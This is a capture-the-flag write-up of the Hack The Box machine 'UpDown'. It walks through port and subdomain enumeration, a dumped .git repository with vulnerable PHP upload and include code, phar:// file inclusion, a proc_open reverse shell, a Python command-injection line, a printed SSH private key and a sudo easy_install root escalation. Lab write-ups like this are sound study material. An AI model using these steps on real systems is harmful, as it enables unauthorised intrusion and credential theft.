Skip to content

UpDown

Reading Time: 8 min read


Start 15:19 20-09


Scope:
10.10.11.177

==Nmap==

Terminal window
┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -sT -vvvv -T5 -p- 10.10.11.177 --min-rate 5000
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDl7j17X/EWcm1MwzD7sKOFZyTUggWH1RRgwFbAK+B6R28x47OJjQW8VO4tCjTyvqKBzpgg7r98xNEykmvnMr0V9eUhg6zf04GfS/gudDF3Fbr3XnZOsrMmryChQdkMyZQK1HULbqRij1tdHaxbIGbG5CmIxbh69mMwBOlinQINCStytTvZq4btP5xSMd8pyzuZdqw3Z58ORSnJAorhBXAmVa9126OoLx7AzL0aO3lqgWjo/wwd3FmcYxAdOjKFbIRiZK/f7RJHty9P2WhhmZ6mZBSTAvIJ36Kb4Z0NuZ+ztfZCCDEw3z3bVXSVR/cp0Z0186gkZv8w8cp/ZHbtJB/nofzEBEeIK8gZqeFc/hwrySA6yBbSg0FYmXSvUuKgtjTgbZvgog66h+98XUgXheX1YPDcnUU66zcZbGsSM1aw1sMqB1vHhd2LGeY8UeQ1pr+lppDwMgce8DO141tj+ozjJouy19Tkc9BB46FNJ43Jl58CbLPdHUcWeMbjwauMrw0=
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKMJ3/md06ho+1RKACqh2T8urLkt1ST6yJ9EXEkuJh0UI/zFcIffzUOeiD2ZHphWyvRDIqm7ikVvNFmigSBUpXI=
| 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL1VZrZbtNuK2LKeBBzfz0gywG4oYxgPl+s5QENjani1
80/tcp open http syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I went to the website and added the hostname to /etc/hosts:

And then I went ahead and started looking for subdomains and subdirectories since there was nothing notable on the site. I used ffuf to locate any subdomains which initially responded with false positives:

So I then went ahead and excluded all the responses with size 1131:

Terminal window
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 1131

After successfully fuzzing a new subdomain I added it to my /etc/hosts list again:

Terminal window
echo "10.10.11.177 dev.siteisup.htb" | sudo tee -a /etc/hosts

After having successfully added the subdomain I tried to visit the site, yet I ran into a problem:

Which makes sense as the output from ffuf showed us the same 403 response. Time to enumerate further using gobuster:

But when we visit /dev it is just an empty page:

So I went ahead and ran gobuster again on the /dev endpoint this time:

It looks like there is an exposed .git endpoint, I decided to check it out using curl:

==Git-Dumper== Apparently a tool called git-dumper exists with which you can go ahead and dump entire git repositories if they are exposed. I installed it using pip install git-dumper as per the official repo instructions.

Running this tool gave me the following output:

I then went inside the new dev directory I just created and checked the directory using ls -la:

I found the .htaccess file which usually contains Apache web server configs:

https://www.digitalocean.com/community/tutorials/how-to-use-the-htaccess-file

I used cat on the file and read it:

Since I need to specify the header on every request I will instead automate this using Burp I have to go to the Proxy settings -> Match and replace rules -> Add and enter a new set of rules:

==dev subdomain== After adding these rules I visit the main page again and I am greeted with the new dashboard:

I created a sample list of sites to view the behavior:

And I uploaded it to the website:

I got the following response:

It is unclear to me what the 4th check is and why it popped up so I decided to check the source code, which was in the dev git dump folder.

Admin.php
<?php
if(DIRECTACCESS){
die("Access Denied");
}
#ToDo
?>

The above appears to show a DIRECTACCESS function that we can find in the index.php file.

Index.php
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>

The index.php file appears to check for the inclusion of $_GET['page'] which prevents us from accessing the specified directories, and if the GET parameter is not supplied it will include the checker.php file. This was a quite extensive file but the following is the most important part:

Checker.php
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}

We notice that there has been a valiant attempt at stopping certain file extensions to be uploaded. Furthermore it appears that the file get’s uploaded to a /uploads/ endpoint and after the check has been completed the file get’s automatically deleted.

Note: This approach of individually blacklisting certain extension is NOT desired since there are still certain extensions which can be packaged and uploaded. It is far better to WHITELIST certain extensions instead!

==file upload== After looking up under what alternative we could upload a web-shell I stumbled upon the following:

https://pecl.php.net/package-search.php?pkg_name=phar

I went ahead and created a zipped up file which I would then go ahead and unwrap using the phar:// php wrapper.

I uploaded the file and went into the /uploads endpoint to view whether it was uploaded correctly.

Since the file was there inside the folder I used the following URL to view the contents:

Terminal window
http://dev.siteisup.htb/?page=phar://uploads/04ffd93eb78f31fa555193717bc23cf1/info.txt/info

This proved that the file upload was indeed vulnerable to the phar:// wrapper. I now skimmed the output in order to understand what sort of payload I could upload.

Unfortunately enough I found multiple functions to be disabled which meant improvising:

Fortunately for me though I found the following tool in a blog that could help me bypass this problem:

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass

https://github.com/teambi0s/dfunc-bypasser

I followed the git clone command and installed the tool after which I used it with python2 (python or python3 does NOT work!)

I ran into some trouble at first so I had to reupload the file again:

==fail==

==pass==

It seems I need to use the proc_open() function according to the script. Since I had no clue how to use it I searched it up and found the following:

https://www.php.net/manual/en/function.proc-open.php

I now had to craft a reverse-shell using the proc_open() function.

==crafting web shell== I went ahead and googled for proc_open reverse shell which led me to the following GitHub page:

https://github.com/jbarcia/Web-Shells/blob/master/laudanum/php/php-reverse-shell.php

I then went ahead and wrapped this around <?php tags as well as tweaked it a little bit:

I then went ahead and zipped it up just like previously:

Now I went ahead and uploaded the file again:

I started up my listener at 1234 and went to the URL:

==www-data shell== And just like that I got the www-data shell:

I then went ahead and created a shell-ception in case I accidently Ctrl + C the shell:

I stabilized that shell using the following commands:

I found nothing useful inside the directory I landed in (since I have already searched it previously) thus went to the / directory. Afterwards I cd into /home where I found the developer user. Inside his directory was the user.txt flag which I did not have permissions for but there was another dev directory as well:

The SUID bit set is set for the developer on both files which means we can perhaps use this to our advantage.

From the print function we can tell that it is a Python2 script. I tried to inject malicious commands since the input parameter does not properly sanitize it:

And when I run the same on the binary I see the following:

==developer shell== I see it returned developer instead, thus it runs under that user. Meaning I just needed to change the command from whoami to bash in this case for the binary to grant me a shell under this user:

Terminal window
__import__('os').system('bash')

I was right! Just like that we have elevated our privileges and I got the user flag… or not since it is still owned by root :(

Thus I had to get creative. I ls -la the /home directory of developer and found authorized_keys as well as id_rsa.pub. I checked if they matched and luckily for me they did:

This meant that the private key should suffice to log into SSH. I used cat on id_rsa:

Terminal window
developer@updown:/home/developer/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
developer@updown:/home/developer/.ssh$

==user.txt== And then on my local machine I put the private key into a new file, change permissions and ssh'd into the machine:

Terminal window
┌──(kali㉿kali)-[~]
└─$ cat > dev-key
┌──(kali㉿kali)-[~]
└─$ chmod 600 dev-key
┌──(kali㉿kali)-[~]
└─$ ssh -i dev-key developer@siteisup.htb
Last login: Tue Aug 30 11:24:44 2022 from 10.10.14.36
developer@updown:~$

This way I could actually go ahead and cat the user.txt flag:

In order to escalate privileges I started off by using sudo -l:

It appears I can run a binary without a password, let’s check it out:

developer@updown:~$ cat /usr/local/bin/easy_install
#!/usr/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from setuptools.command.easy_install import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())

By looking easy_install up on GTFOBins I found the way to exploit it:

We need to essentially create a new directory, and leverage that directory to create a root shell by spawning it through the use of the easy_install script:

==root.txt== Straightforward:


Finished 18:35 23-09